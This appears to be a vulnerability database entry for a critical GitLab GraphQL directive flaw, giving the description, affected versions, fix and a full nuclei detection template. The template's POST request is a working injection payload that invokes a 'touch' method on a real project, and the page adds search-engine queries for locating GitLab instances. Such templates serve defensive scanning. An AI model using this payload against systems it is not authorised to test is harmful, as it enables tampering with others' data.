HexBrain

Browse / CVEs / CVE-2026-19478

CVE-2026-19478· gitlab / gitlab· CWE-94

GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation

criticalseverity
9.4CVSS score
2.2%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.

Impact

An unauthenticated attacker can remotely modify or delete public projects and user data via arbitrary method invocation through a crafted GraphQL query.

Fix

Upgrade GitLab to version 18.11.11, 19.0.8, 19.1.6, or 19.2.4 or later.

How to confirm it

Send: GET {{BaseURL}}/api/v4/projects?visibility=public&per_page=1
Positive when: status_code == 200 and contains(body, 'path_with_namespace')
Send: POST /api/graphql
Positive when: status 200 AND not contains "doesn't exist on type" AND matches /"touch"\s*:\s*true/

Run it with nuclei: nuclei -id CVE-2026-19478 -u <target>

The full check
id: CVE-2026-19478

info:
  name: GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation
  author: 0x_Akoko,DhiyaneshDk
  severity: critical
  description: |
    GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.
  impact: |
    An unauthenticated attacker can remotely modify or delete public projects and user data via arbitrary method invocation
    through a crafted GraphQL query.
  remediation: |
    Upgrade GitLab to version 18.11.11, 19.0.8, 19.1.6, or 19.2.4 or later.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-19478
    - https://github.com/davkharrr/CVE-2026-19478-PoC
    - https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
    - https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 9.4
    cve-id: CVE-2026-19478
    epss-score: 0.02155
    epss-percentile: 0.82315
    cwe-id: CWE-94
  metadata:
    max-request: 2
    verified: true
    vendor: gitlab
    product: gitlab
    shodan-query: http.title:"GitLab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve,cve2026,gitlab,graphql,code-injection,unauth,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v4/projects?visibility=public&per_page=1"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'path_with_namespace')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: project_path
        group: 1
        regex:
          - '"path_with_namespace"\s*:\s*"([^"]+)"'
        internal: true

  - raw:
      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"query { project(fullPath: \"{{project_path}}\") { name touch @gl_introduced(version: \"999.0.0\") } }"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "doesn't exist on type"
        negative: true

      - type: regex
        part: body
        regex:
          - '"touch"\s*:\s*true'

    extractors:
      - type: json
        json:
          - '.data.project.name'

References

Use this check only on systems you are authorised to test. Where the data comes from